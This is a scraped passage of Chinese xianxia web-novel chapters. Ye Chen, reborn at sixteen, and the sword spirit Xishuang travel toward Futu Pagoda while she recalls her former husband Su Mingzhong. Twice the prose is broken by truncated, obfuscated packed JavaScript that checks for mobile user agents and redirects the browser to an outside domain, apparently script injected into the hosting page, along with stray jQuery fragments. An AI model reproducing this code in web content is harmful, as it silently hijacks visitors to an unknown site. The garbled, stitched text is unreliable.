叶琛被捡过好几次,有人要她报恩,有人要她试药,所以这一次被道长捡回仙门,她一路在想是要自己干什么。 结果还真不要她干什么。 那仙门也没个仙门的样子,只在山下围了地,建了几座平房,养鸡养鸭,一眼望去,不像仙门,更像农户。 捡她回去的道长是个不管事的,上下都是季师兄操持,叶琛在那里,第一次体会到了当宗门小师妹的感觉。 冬日同师兄们出门采买年货,春日师姐们教她拿凤仙花染指甲玩,也有爱闹的师姐拿花汁偷偷给季师兄手上染了十种颜色,季师兄醒来,也就盯着自己指尖苦笑一下。 叶琛那时赶着鸡鸭去地里吃虫,自己躺在田垄上,心里以为这日子会一直过下去。 可是后来嘛...... 叶琛从回忆里醒来,阖上的眼又重新睁开,脸上依然戴着那狐狸面具,叹息:“世事难料。” 她如今还能和洗霜心平气和地坐在一张桌子上,也是世事难料。 一夜过去,叶琛觑着洗霜神色,心里已经明悟三分。 她死而复生都有可能,洗霜若是想起前世同她相识乃至后来结契,并不是没有可能。 只是不知道他想起了多少。 叶琛试探之意忽起,对洗霜道:“我想问一句,你什么时候想起我的?” 身侧人脸颊同窗外雪光融成一色,神色恹恹,微微垂下眼:“三月前。” 那是她刚刚醒来,发现自己回到十六岁那年,心里正盘算怎么对付老头的时候。 叶琛不自觉低头,手中长剑散发着霜雪之意,地面不知何时已霜白一片。 她只好把剑提起,置于自己双膝之上,又想,若是洗霜只想起前世两人相识、结契,而不曾回忆起后来吵架乃至大打出手,事情还算好办。 她指腹从剑锋一侧抹过,指尖瞬间结了一层寒霜,又被体温消融。 洗霜顿了顿,冷飘飘的目光落在她身上,倏而移开眼。 叶琛毫无所觉,她此刻心中忽然冒出一个念头,要是她能向洗霜借来这柄剑就好了。 鱼线用处到底有限,但洗霜剑是上品灵剑,也是前世唯一一把能承受住她剑意的剑。 如果洗霜还没来得及想起前世的不愉快,借剑这事,还是有希望的。 心下打定主意,她抬起头,面具眼眶处,露出少女盈盈笑眼:“剑首大人,我们打个商量,虽然我们如今未曾结契,但看在曾结过契的面子上,剑能不能借我一段时日?” 洗霜定定看了她一会,眉心忽然极快地蹙了一下。 窗外风雪霎时大了些。 叶琛一怔,旋即听到他道:“剑契刻于神魂之上,若不解契,生生世世都不会消除,叶琛,你我并不是不曾结契。” 叶琛心里一跳。 还有这回事? 那岂不是她以为的死后剑契自动废除通通不作数了? 雪粒沿着窗户飘进来,风声大作,却自动避开洗霜那处,他纤长的眼睫上沾染了一点寒意和霜意,翕合时像雪中翻飞的燕尾蝶。 他似乎看出了她的心思,微微摇头,淡声道:“剑契并不会因为你死过一次就自动解除。” 4. 四 叶琛忽然腮帮子有些疼。 她方才还心存侥幸,若是洗霜没有完全记起前世的事情,她再在旁混淆视听,或许真能让洗霜的记忆停留在两人刚刚认识那会,那时候他们关系没有后来那么坏,叶琛拿着他的剑一连十几日忘了还,他也不会说什么。 结果呢? ——剑契并不会因为你死过一次就自动解除。 行,怪我当初结契时没仔细看使用说明,不知道这东西还带账号绑定和冷静期呗。 而且洗霜既然能说出这话,估计之前她想过的哄骗招数都不管用了。 叶琛有些挫败,半边身子靠在椅背上,忽然想通先前的疑问,抬头看洗霜:“所以你来兰溪,是受剑契感召,来找我的?” 却见洗霜否定道:“剑契只能判断契者生死,并不能寻人。” 叶琛明悟似地点点头,又道:“那你为何来兰溪?万剑阁剑首应当很忙吧,你从前......便一直呆在苍云山。” 万剑阁是四圣地之一,坐落于苍云山上,仙门圣地,百年未有外人踏足,前世叶琛为妖鬼一事夜闯剑阁,后来才知道这是万剑阁剑首第一次因人间事下山。 洗霜侧过脸,乌黑发梢落下几点浅淡的霜雪,在桌上连成一线,他微微垂下眼,道:“有要事在身。” 叶琛简直要被他说笑了。 她方才为他解围,随口扯的理由,他如今改都不改就拿来搪塞她? 叶琛笑起来:“看来我们剑首大人确实公务繁忙,万剑阁这担子挑在身上,还要常年在外奔波,不容易。” 洗霜眼睫一动,琉璃般的眼珠抬起,声线寒如霜雪:“我此次是去浮屠塔,事关万剑阁隐秘,中途路过兰溪。” 叶琛的笑顿住了。 仙门四大圣地,万剑阁和浮屠塔便是其中之二,万剑阁剑首去浮屠塔,不论是圣地交流还是互通有无,都顺理成章。 叶琛原本计划昨夜离开兰溪,也是想先去浮屠塔的。 上辈子她为救人去浮屠塔盗窃佛宝,结果偷到个假的,她还因此被众人追杀,百口莫辩,最后死在一处山谷里。 技不如人,她认;但死得不明不白,她认不了。 叶琛后来想过,真的佛宝根本不在她手里,为何那些人一口咬定是她偷走佛宝,她三月前死而复生,便一直在想这件事,最后得出两个结果。 要么是在她偷走佛宝那天,有人先她一步狸猫换太子;要么,则是浮屠塔供奉的佛宝,本来就是假的。 叶琛前几月,每日除了盘算给老头怎样的死法,便是思考自己前世到底是怎么死的。 越想越困惑,于是她决定去所有事情的源头——浮屠塔看一看。 至少,也要让她看一眼真正的佛宝长什么样子吧。 可如今,洗霜也要去浮屠塔? 叶琛轻轻眨眼,心里便生出其他的计较。 从昨夜第一次喊她名字开始,到如今一桌相谈,叶琛其实摸不准这位剑首到底是何想法。 方才他提到剑契,她又明白了些许。 虽然不记得当初为何结契,但洗霜若是要解契,一定是要她配合的。 昨夜他路过兰溪,恰好碰到她,应当就有了这个主意。 前世他们被一纸剑契绑住,后来却发现彼此所求不同,多出许多麻烦,到后面也并未解契,今生刚刚开始又被绑在一起。 叶琛想,如果她是洗霜,也要被这事烦透了。 如此想来,不论对他们中的谁来说,同行好像成了最合适的选择。 叶琛把这话对洗霜讲了一遍,洗霜脸上没一点生气,冷淡极了,看不出心里想法。 叶琛趁热打铁:“我虽然也去浮屠塔,但你们万剑阁的隐秘,我绝对闭目塞听,你我二人到了浮屠塔后,说不定还可以找到解除剑契的办法。” 叶琛以为这话该说到洗霜心坎上,却没想洗霜的反应超出预期,他眉目浮起一层浅浅的霜雪,忽而闭目:“你想去浮屠塔,并不需同我商量。” 话音刚落,他竟直接起身离开了酒楼。 叶琛望着洗霜的背影,又低头看了看膝上长剑,霜花缭绕,光华流转,一时有些摸不着头脑。 他剑都忘了拿啊! 叶琛怔愣几秒,提起剑便追了出去。 洗霜并没走远。 叶琛追到门口,没来得及刹车,迎面就要撞上身前白衣人之时,她的面具被轻轻扶了一下。 面具扣回脸上,阵阵寒气逸散。 洗霜淡声道:“站稳。” 叶琛抬头一看,顿时明白洗霜为什么停在门口不走了。 他根本走不了! 街道两侧商铺林立,中央大道上却有两人正在交手,那名男修扛着黑色大剑,咬牙朝对面女修砍去。 叶琛定睛一看,对面的女修还是老熟人! 正是昨夜和她杀了一路的女修。 眼看那剑就要从女修头顶砍下,叶琛下意识攥紧手中长剑剑柄,露出衣袖的手腕却贴上一阵寒凉的冰雪之气。 叶琛这衣裳短了,露出那一截腕臂也皮包着骨似的,伶仃瘦弱,像野地里丛生的杂草,她抬眼看着洗霜刚碰到她又收回去的手,顷刻便明白了他的意思。 她仰着头,露出一点浅淡的笑:“我又不会冲上去帮她,你怕什么。” 叶琛话说到一半,那女修已然抽出腰侧长剑,以极诡谲的角度抽身向前,避也不避,直指男修咽喉。 大剑一旦砍出,再难收回。 那男修见对手竟如此张狂,心下一横,竟打算硬抗这一剑,剑锋重逾千钧,他不信两剑相撞,对方不会粉身碎骨。 他抱着这样的想法,挑衅一笑,却看到那女修也笑了。 “伶仃”一声脆响,也不知那女修如何使剑,两剑轻轻一碰,他看着手中大剑从剑柄开始,裂纹迅速爬上剑尖,这声响在他脑中轻轻一炸—— 剑,碎了。 胜负已分。 女修转身,朝一旁观战的叶琛粲然一笑,叶琛很给面子的鼓起掌来,啪啪啪三声,男修听在耳中,感觉像隔空扇了他三耳光。 叶琛刚想上去同她讨教几招,却听到洗霜道:“走了。” 他似乎对方才的争斗毫无兴趣。 叶琛犹豫片刻,又很快奇妙地反应过来—— 这是默认接下来同路了? * 走出一段距离,洗霜忽然道:“方才她那招古怪,你不要学。” 叶琛正在脑中临摹方才那女修的剑法,闻言道:“为何?” 洗霜沉默一阵,才道:“她的剑有灵,方才她的剑法,并不出自她自身,而是剑灵代为施展。” 剑若修出灵身,便会从天地灵蕴中自动悟出一套剑法,洗霜当初同叶琛下山,路遇妖鬼过境,为了避免分出心神保护她,他便让她拿着洗霜剑,直接施展霜寒九式。 叶琛那时对剑把控不够,整个人被剑拖着走,洗霜剑施展剑法,斥退妖鬼之时,还要注意有没有把持剑者甩出去。 洗霜似乎也想起这段过往,压了压唇角,略过不提:“总之,你未和那剑灵结契,贸然使用人家的剑法,得形不得意,学了没用。” 学了没用。 叶琛心里不太服气,她方才其实并没有在复刻人家的剑法,她只是在思考,为什么那一剑下去,黑色大剑“铛”的一声就碎了。 叶琛平时就这样,遇到琢磨不透的事情,就忍不住拿出来反复想,那个假佛宝是这样,方才那女修的剑法也是这样。 她看了洗霜一眼,心想,你管天管地,难道还管得到我想谁吗? 不过此时不宜和洗霜争论,他们还得去浮屠塔。 一切到了浮屠塔后再说。 * 叶琛两人并没有马上动身,她在兰溪还有事未了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426990|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶琛对这块的商铺布局相当熟悉,很快便拐进一家香烛店,洗霜随后进入,看着她熟练地找到香烛和纸钱,拿布袋兜着,和掌柜结账。 她从包袱底下翻出几串铜钱,放在柜台上,便算付过钱了,掌柜是个胖子,在柜台后眯着眼补瞌睡,也没细看那几串钱。 叶琛抱着这些东西出去,习惯性和洗霜解释道:“给死去的人买东西,避讳问价钱,大家都心里有数,宁愿多给,不要少拿。” 讲完她才反应过来,这早不是当初洗霜百年来第一次下山,人间各种规矩都要她教,她怎么还习惯性讲经? 旋即住嘴。 她走出香烛店,本想直接完成那件事,却在隔壁店铺门口碰到了方才刚见过面的人。 叶琛眨了眨眼,马上换了一副面孔,笑眯眯地拍了拍季知年:“道友,又见面啦!” 季知年觉得这声音无比熟悉,但在此地又委实没什么熟人,心下纳闷,放下手中肉脯,回头看到一张熟悉的狐狸面具。 ......还有那位方才警告了他一眼的剑首。 那是警告吧?季知年回想起他看自己时冷冷的目光,却不知道自己哪里得罪了这位剑首。 他只好干笑一声,道:“道友你也来买肉脯么?” 他手中已经装了一袋肉脯,打算再挑些干果,见这狐面少女好奇地凑过来,干脆打开袋子,让她尝尝。 也不知为何,他虽然忌惮这位剑首,但对这狐面少女却一见就觉得亲厚。 叶琛挑出几条猪肉脯,把兔肉脯拨到一旁,自己吃了一条,想了想,还是转头问洗霜:“你吃不吃?” 话虽这么说,但叶琛知道洗霜是决计不会吃的,他向来看不上这些凡间的物什,她习惯性问这么一句,也没期待得到什么答复。 叶琛正等着洗霜摇头,手中的猪肉脯却忽然没了一半。 叶琛怔愣抬头。 她的手还没收回去,香脆肉丝散落在少女素白指尖之上,洗霜寒凉的目光从她指尖掠过,睫毛垂下浅淡霜意,微微颔首:“吃。” 叶琛面具下神情无比惊骇。 季知年也愣住了,但他毕竟是操持一宗的大师兄,试探着把装满肉脯的袋子递给洗霜:“您若是喜欢......这一袋便送给您和这位姑娘吧,感谢昨夜二位出手相助。” 他还是想给万剑阁剑首留下好印象的,毕竟自家师妹修习剑道,万剑阁又是千万剑修的问道之地,自己先示好总是没错的。 洗霜却不说好,也不说不好,季知年久久未得到回应,踌躇之时,叶琛笑道:“这么一大袋肉脯,我们拿回去几年都吃不完,倒是季道友宗门人多,采办的年货给了我们,该如何回去交差呢?” 季知年讶异道:“你怎么知道我买这些,是要带回宗门的?” 叶琛心想,因为我前世就吃过这些肉脯啊。 兔肉脯还格外难吃。 面上却不动声色道:“因为我会卜卦啊,我们剑首之所以来兰溪,就是因为我的卦象显示此地近日有灭顶之灾。” 卜卦? 季知年想起昨夜忽然降临的两人,已经信了三分,又看她身侧的剑首,一派肃穆端庄,这三分又变成了七分。 叶琛刻意给他留足了反应时间,才缓缓道:“我观道友面色,不出半年也有灭顶之灾啊。” 季知年心下一动,脑中浮过这说法的几千个版本,可是万剑阁的人......不至于当江湖骗子吧。 他这厢还在犹疑,叶琛已经拍了拍他的肩,笑面狐狸下,传来少女清脆的嗓音:“萍水相逢,我们剑首与道友有缘,才让我为你算一卦的,未来一年忌远行,此卦可解。” 季知年反应过来时,狐面少女已同那位剑首走远了。 他看着那少女的背影,心中觉得荒诞,又忍不住反复想她方才的话。 不出门......就能保平安吗? 5. 五 叶琛在河边一处坟冢前停下,点燃香烛和纸钱,跪在地上,很郑重地拜了三拜。 这就是她此行未了之事。 等到香烛燃尽,她才起身,自言自语道:“叶婆婆,上辈子我回来祭拜你的时候,兰溪发了水灾,这处坟已经给淹了。” “后来我又想迁走你的坟,但是我那晚梦到你,你说你生在兰溪,也埋在兰溪,葬在水里也算落叶归根,我就没再动过这心思。” 纸钱被火慢慢团成灰烬,一缕细细的灰烟升起,叶琛望着这缕烟,忽然笑了:“今后我不会再回兰溪,你若是想见我,便给我托梦吧,不过十多年过去,我想你也该转世投胎了。” 说完这些,叶琛感觉松快多了,转身看到洗霜静静站在身后时,心情依然很好,解释道:“我几个月大时,被丢在木盆里,顺着河水漂到兰溪,是叶婆婆捡了我。” “叶婆婆于我有恩,我的姓便是随了她,不过她死得很早,我六岁时,又被一个药师捡回去试药,他爱做毒,我又很难毒死,他拿我试了十年药。” “我当时想逃,但是总被抓回来,那老头抓我回来就把我绑在椅子上,给我喂平常三倍剂量的药,那种药喝了会让人连续几个月气息微弱,像是快要死了又死不掉。” 叶琛说到这里,又笑起来,肩膀不住抖动,漆黑浓密的睫羽小扇子一样翕合,她玩笑似地说起这段过往,像是解释,又像只是在说笑。 她从怀中取出一块皱巴巴的布料,在坟冢旁挖了个洞,也给埋了。 布料入土的瞬间,她脸上的笑魔术般消失了,轻声道:“我当时想这种感觉真是不好受,好想让他也受一受,但后来没能做到。” 身后,洗霜看着她行云流水做完这一系列动作,忽而问道:“为什么没做到?” 叶琛回头,果然没能在他脸上看到一丝情绪,这仅仅只是个对她讲述故事的疑问。 她扯了扯嘴角,回答:“因为那药没了,全在我身上用完了,那老头真是大方,都没想过给自己留一点。” 她就只好省略这一步,放弃了让他也品尝一遍那种滋味的想法。 听完她的解释,洗霜似乎对这个故事再没有什么疑问,雪愈下愈大,在他身上落了薄薄一层,像一株冰雪堆砌的霜树。 叶琛忽然就觉得好笑,伸手拍落他身上的雪,道:“好啦,我要办的事都办完了,劳烦你等我半天。之后去浮屠塔,大概要十几日的路程,你若有要说的,可以今日一块说了。” 比如某些禁忌,或者约法三章。 叶琛轻轻眨眼,笑着看他。 “我没什么要说的。”洗霜目光落在她微微翘起的唇角,那双眼睛里闪动着狡黠的笑意,灵动得要刺伤眼,他怔愣半刻,旋即垂下眼,视线转而落在少女瘦削的手指上。 就是这只手,轻轻拂去了他肩头的落雪。 灼烫,避无可避。 洗霜垂下眼帘,神色在纷纷扬扬的细雪中看不清楚,问道:“后来呢,那药师怎么样了。” 叶琛没想到他真会对这段往事感兴趣,想了想,如实答:“被我杀了。” 这话如果是前世捡她回去的师父或者季知年问,她大概会随口扯个谎,他们不爱听这些腌臜事,但洗霜问,她又觉得没必要掩饰。 洗霜并不是人,心里也就不存在许多俗世的道德准则,季知年他们会厌恶的事,在洗霜这里就真的只是一段故事而已。 叶琛简单收拾了坟冢前的枯草,便打算离开此地,洗霜却没有立刻动身,他声音很轻,融在昏沉雪意里:“你什么都不带走吗?” 叶琛茫然。 洗霜语气平淡:“游子离乡,一般会带走家乡的水或者土,人族将这称之为‘离乡不离土’。” 叶琛纳罕道:“你从哪知道的?” 是有这个习俗,可是有这个说法吗? 她看了一眼河面,上头结了一层薄薄的冰,如果凿开冰面,确实可以取水。 但......叶琛摇头道:“算了,随身带着这些东西太麻烦,还得赶路呢。” 洗霜却道:“并不麻烦。” 不见他如何动作,叶琛身侧薄薄的冰层消融,从中跃出一朵细小的冰花,晶莹剔透,冰花内,水藻缠绕,组成不规则的奇异纹路。 那朵冰花落在叶琛手心,没有消融。 叶琛捧着这朵小小的冰花,忽然笑了:“谢谢你......这是我这辈子收到的第一份礼物。” 因为这朵冰花,叶琛决定原谅洗霜一整日的不说人话以及来日可能的冒犯。 却没想半日不到就破了功。 叶琛从河边回来时,天色将暮,雪比白日愈发大了,她便和洗霜商量着今夜歇在兰溪,明日再赶路。 洗霜看起来并不急,只微微颔首,算是同意了这件事。 叶琛当然不会带洗霜回她原先住的地方,那里还躺着一具尸体,昨夜趁乱放了一把火,也不知道烧干净了没有。 思量一番,她还是决定回白日待的酒楼,一楼吃饭,楼上住宿,重点是这地方近日住的都是修士,方便避人耳目。 叶琛和厨房要了几个白面馒头,就着咸菜下饭,隔壁桌上饭菜的香气飘过来,洗霜蹙了蹙眉:“你就吃这些?” 叶琛嘴里的馒头还没咽下去,含糊道:“此一时彼一时,我如今又不是从前的叶宗主,盘缠得省着点花。” “再说,馒头有什么不好,量大管饱,要不你试试?” 叶琛这次特意多拿了几个馒头,就算洗霜又像白日一样突然抽风,要吃这些食物,她也不会饿着自己。 但这次洗霜没有接她给的馒头。 叶琛心道果然,收回递出去的馒头,刚要咬下去,面前却多了一盘红烧肘子。 接下来是酱猪蹄、烧羊腿、梅菜扣肉...... 在第七盘菜端上来时,叶琛抓住店小二滑溜溜的袖角,纳闷道:“上错菜了吧,我没点过这些。” 小二笑出一口豁牙:“没!都是姑娘这桌的,喏,那位仙师点的!” 洗霜目光从她身上移开,声音像纷纷而落的雪花:“一桌馒头咸菜,还以为我万剑阁穷得揭不开锅了。” 为了万剑阁的面子? 叶琛偏过头,往周围扫了一圈,果真没有一桌不是满的,修士本来就比凡人好过活,随便一点仙门符箓就能换回大笔钱财,因此金银对他们来说确实是身外之物。 但对叶琛不是。 叶琛为难道:“我身上并没带多少钱,已经拿来付今晚的房钱了,这桌账我是结不了的。” 总不能再问季知年去借钱吧? 小二笑道:“姑娘,这位仙师已结过账了,还谈什么付不付钱呢?” 叶琛讶异极了。 她转头看向对面一言不发的洗霜,脱口而出:“你身上竟然带了钱?” 出门在外,没钱寸步难行,但对洗霜不是这样,修士要考虑衣食住行,剑灵不要,洗霜第一次跟着叶琛下山,什么都没带就走了。 一路上,叶琛住客栈,吃热食,这位剑首却每晚呆在客栈外的树上,叶琛起初以为这是什么修炼法门,后来才知晓,这只是洗霜的爱好而已。 当时她还腹诽,世上哪有人在树上挂一晚上不睡觉的。 但洗霜本来也不是人。 衣食住行对这位剑首都无用,他自然也没有带钱的概念,那一路,洗霜身上没带一分钱,偶尔遇到花钱的地方,都是叶琛垫付。 他那时还问她:“这些东西,都要付钱的吗?” 叶琛觉得好笑,心想这位剑首还真是不食人间烟火,耐心解释道:“对人族来说,想要什么,就要拿对方想要的去换,大多数人都想要钱,所以钱就成了通行的货币。” 而如今,风水轮流转,付钱的那个却成了洗霜,也是好笑。 叶琛心想,反正付了钱的,不吃岂不是浪费?于是她放下馒头咸菜,先对最中间的酱猪蹄下手,猪蹄被她啃完一半,满嘴是油,洗霜却只对冷素菜动了一筷子。 他吃相优雅极了,叶琛觉得他吃那盘素菜也只是因为这盘菜离他最近,只吃了几口便搁下筷子。 剑灵的口味与修士如此不同吗?叶琛望着那盘冷素菜,提不起兴趣。 啃完猪蹄,叶琛又觉得,不止来日的冒犯,往日他们吵过的架,她也可以暂时既往不咎。 洗霜等她吃得差不多,指节轻叩桌面,咚咚两声,猝不及防道:“你那时是怎么死的?” 叶琛喝水的碗顿住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426991|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“被追杀到一个山谷,打不过人家,就死了呗。”她叼着碗慢慢喝完水,含混道。 洗霜冷淡道:“你会打不过人家?” 叶琛觉得他对自己有很大的误解,摊开手:“若是一对一,我手里又有剑,当然打得过。但那时数百人追杀我几千里,我从北跑到南,剑又折了,也是没办法。” 真实情况是她那时体力衰竭,中了毒,又怪自己没拿到佛宝,那人怕是活不成了。白天黑夜应付追杀,最后只好逃进一处山谷。 但她最后还是被找到了。 叶琛三言两语说完经过,毫不在乎的语气传到洗霜耳中,他皱眉道:“他们为何追杀你?” 叶琛挑眉:“我以为这事你那时知道呢,我拿了佛宝,应当传得沸沸扬扬吧。” 洗霜:“我当时在万剑阁闭关。” “哦,那你错过了一出好戏。”叶琛好像真是在为他惋惜,“苏二旧伤复发,我为他去取佛宝救命,但佛宝到手是个假的,还赔了一条命进去。” 叶琛喟叹道:“这该怎么算呢,苏二的伤是为我受的,我后来赔了他一条命,总算不欠他什么。” 她抛下碗筷,整个人仰躺在靠椅上,想起前世最后那段东躲西藏的日子,神色倦怠。 洗霜眉头越皱越紧,身周散出止不住的寒意,声音淬了冰一般:“你对你这位凡人夫君倒是情深意重。” 叶琛纳闷地看了眼对面端坐的人,她不明白洗霜为什么又冷下脸,虽说他平时就冷极了,但此时竟然还要冷上几分。 叶琛正眼看他,缓缓道:“苏二是我拜过天地,合过契的夫君,他还救过我一次,我当然......情深意重。” 这句话说完,她顿时发现洗霜的脸色更难看了。 冷,刻骨的冷,雪粒洒了一地,叶琛听到有人把店小二喊过来,说店里火炭不足,要加些炭火。 叶琛知道前世洗霜便和苏二不太对付,但她没想到她都重活了一回,洗霜还是那么讨厌苏二。 她只好道:“收一收,洗霜,苏二如今未和我结契,你大概也见不到他,何必为此生气呢?” 叶琛暗暗觑他脸色,是生气吧?可是这有什么好气的? 男人真是搞不懂,男剑灵也一样。 雪停了。 洗霜抬起眼,眼瞳浮了一层碎冰,像冬日冰凉的湖水。半晌,他终于道: “洛陵离此地不远,你那位凡人夫君大概刚及冠不久,你若是去,还能早些和他结契。” * 苏二是洛陵苏氏的二公子,前世被叶琛救下,后来一直跟着她身边,做事细心又稳妥,叶琛问他想要什么,他总是笑着说并无所求。 可是哪里有人无所求呢,后来叶琛去竹泉捉妖鬼头目,苏二拼死为她挡了那妖鬼一刀,心脉几近断绝,奄奄一息之时,握着叶琛的手不肯松开。 这个人快要死了,说话也是不紧不慢的,他说,死后想埋在门外的桂树下,来年秋天,桂子飘香的时节,她兴许还会想起他。 叶琛低垂着眼,握着他的手,说,我不会让你死的。 她耗了大半灵力,终于把苏二救活过来,自此他也落下陈年宿疾,不好再跟着她奔走,干脆搬到附近的山上养病,如此过了几个寒暑,他提了一盒桂花糕来,问能否和她合契。 金乌西坠,暗香浮动,那人逆光站在门口,袖袍宽大,只露出一截苍白瘦削的手腕。 餐盒里是她喜欢的吃食,面前是差点为她而死的俊美郎君,叶琛想不出拒绝他的理由。 * 叶琛从回忆中抽身,便觉得洗霜的提议无比荒谬。 她道:“我去见苏二干嘛,前世欠他的我已还清,今生......还是不要见面的好。” 若是再碰见了,他又为她死一回,她该怎么还他呢。 叶琛摇了摇头,看着满桌的菜也没了胃口,看也没看洗霜一眼,自己上楼了。 桌上只剩洗霜一个人,店小二拿扫帚扫走地上的雪,叹息道:“怎么好端端的,地上多出这么多雪呢?” 夜已落幕,雪落纷飞,桌上的菜很快冷下来,不再冒热气,洗霜望向窗外,想起叶琛方才的话,微微摇头。 她和苏二结契,只是因为亏欠吗? 6. 六 兴许是因为今晚的不快,叶琛晚上睡觉时,又梦到了那个人。 前世,解巫镇妖鬼之围后,叶琛被推举为闲云宗宗主,却大字不识几个,手边的文书都是苏二代写。 第三次写错自己的名字时,苏二轻笑摇头:“叶姑娘,好歹是当了宗主的人,自己的名字总要会写的。” 叶琛有些羞愧,但她很快找到理由:“从前没人教我识字,后来到了闲云宗,学的是剑法,也不需要识字。学读书写字,当然是好的,但我修习剑道,只要握得住手中剑,认不认字有什么要紧?” 苏二转过身笑了一声,又同她道:“认不认字当然不打紧,但,你想不想认字呢?” 叶琛觉得自己是想的,于是后来苏二成了她的私塾先生,她首先学会写的,是自己的名字。 桌案上,她写完了厚厚一沓纸,“叶琛”两个字总算勉强有个形状,可苏二握着她的手,随手勾画,便比她辛苦练成的不知好看多少倍。 叶琛不太高兴:“或许我于书画一道没有天分,你的字比我好看得多。” 苏二失笑:“你才练了几日,哪能这么快呢,我当初学这个......也学了好久。” 他握着她的手,在“叶琛”两个字旁又写下三个字,字迹飘逸秀丽,像春日斜斜横倚的桃枝。 叶琛慢慢念出来:“苏......明仲。” 握着她的手微微收紧,他点头道:“对,这是我的名字,叶姑娘,我希望你记得我的名字。” 叶琛盯着他的脸,觉得他神色同平时有微妙的不同,还没来得及辨清,窗外忽然下起雪来。 眼前男子的春衫换成狐裘,叶琛被他拥着,室内炭火正旺,他身上却冰凉一片。 叶琛听到自己说:“你身上还未大好,外头下着雪,你派人来说一声,我明日便去看你了,何必今日来呢?” 苏明仲轻轻咳嗽一声,他一路走来,身上落满了雪,枯瘦的指骨从衣袖中钻出,轻轻覆上她的手。 暖融融的灵力从她手上传过来,苏明仲脸色终于好看些,轻声道, “你明日过来,也会在日暮前回去,要我好生休养,可是叶姑娘,你我既已结契,哪有夫妻夜夜见不到面的呢。” 叶琛默然。 于是当夜她抱着他睡觉,感觉像抱着一块冰,她怕自己不注意把他捂化了,半夜起身,打算出去睡,却听到他道, “你既不愿与我同房,当初为何答应与我结契呢?” 叶琛转过身,苏明仲只着中衣,眉目间烛光融融,一墙之隔,墙外风雪不止,室内春意盎然。 他仰头看着她,眼角眉梢都染上几分春色,极尽温柔缱绻,叶琛沉默了一会,道:“你身上有伤,不宜如此。” “若是我身上没伤呢?”他道,“叶琛,你会不会想要亲吻我,凌辱我,至少对我......放肆一些。” 叶琛轻叹一口气,挑灭烛火,室内顿时昏黑一片。 她看不见苏明仲的脸,摸索着将狐裘盖在他身上,道:“我不知道,或许会吧。” 她拥着他睡了一夜。 夜色褪尽,晨光熹微。 叶琛醒来的时候,窗外一片霜白,寒风吹动窗棂,簌簌作响。 苏明仲此时还未同她结契,是养尊处优的世家公子,如果今生他不再遇见她,应当是可以娶一位凡人妻子,安稳活到九十多岁的。 这对凡人来说,是多好的一生啊。 雪粒沿着窗缝飘进来,落在她肩上,很快湿了一片,叶琛无知无觉地站在窗边,盯着雪看了好一会。 直到门被叩响。 洗霜站在门边,看了她一阵,忽然道:“换件衣服,这件湿了。” 叶琛摸了摸肩上衣料,果真湿了一片,她这人天生不畏寒冷,冬日也只穿着薄薄两件夏裳,方才雪落在她肩上,很快就化了。 叶琛耸了耸肩:“我没带换的衣服,过会就干了,没必要。” 洗霜便不再说了,她转身回房,行李本就不多,很快收拾完,拎着包袱打算出门,手里又被扔了一件黑色外衣。 刚才洗霜没在门边等,竟是下楼同掌柜买了件衣服,衣领处还有妇人细密柔软的针脚。 叶琛眼皮跳了跳,抬头,结果看到这人手里还拎着一个狐狸面具,赤色颜料同霜白肌肤相衬,他掀起眼皮,凉凉道, “这面具你戴了一夜,我以为你宝贝得紧,结果一顿饭就能丢下它。” 面具也被扔到叶琛怀里。 狐狸缺了一只耳朵,脸上笑容依旧灿烂,像无端的嘲讽。 叶琛重新扣上面具,思索片刻,将压在枕头下的剑抽出来,还给洗霜。 “我也不知道剑首竟然连自己的剑都能忘了。” 洗霜却并没接过剑,他定定看了叶琛一眼,纤长的睫羽如蝶翼般落下,在眼底投下绚烂的光影。 “今早离开兰溪。” 他头也不回道。 叶琛捧着手中长剑,愣了一会,又释然。 反正至少到浮屠塔这一路,他们是在一块的,剑在谁手里,并无分别。 * 说着今日离开兰溪,但叶琛发现,洗霜并没有选出兰溪最近的那条路。 他绕了一段,又走到昨日季知年买猪肉脯的那家杂货铺,同掌柜买了一些肉脯。 叶琛总算知道洗霜是怎么花钱的了。 他腰间缀着一个锦袋,缎面绣着一弯浅浅的月亮,像是姑娘家怀着一腔心事绣成的,洗霜便从里头拿出一块金锭,放在柜台上。 掌柜顿时傻了眼。 他结巴道:“仙师,我们这......收不了这个。” 洗霜眼睫动了动:“为何,买东西不是该给钱吗?” 叶琛视线落在那枚金锭上,然后发现洗霜正看着自己,没有言语。 啊......又是这样。 这位不食人间烟火的剑首倒是知道要给钱了,但是给什么钱,他心里有数吗? 叶琛估摸着是没数的。 连出门记得带个锦袋装钱,都算可喜可贺。 叶琛干脆从自己钱袋里拿出一串铜钱,换回那枚金锭,想了想,还是取下洗霜腰间那枚锦袋,打开一看,全是金锭,还夹着几枚灵石。 如今灵气衰竭,一枚灵石在修士中可拍出天价,他竟然就如此随意地丢在锦袋里,同其他东西混在一起? 叶琛咂舌,但一抬头看见洗霜不染凡尘的侧脸,又觉得一切皆有可能。 叶琛给了一串铜钱后,那掌柜终于松了口气,给洗霜拣了一袋子肉脯,叶琛没忘记喊一句:“不要兔肉的。” 掌柜一愣,下意识看向少女身侧仙君。 洗霜微微点头:“不要兔肉。” 叶琛犹疑地看了洗霜一眼,心想这可太不像他了。 出门随身带钱,身上除了剑外还带着锦袋,锦袋里竟然真的装满了金 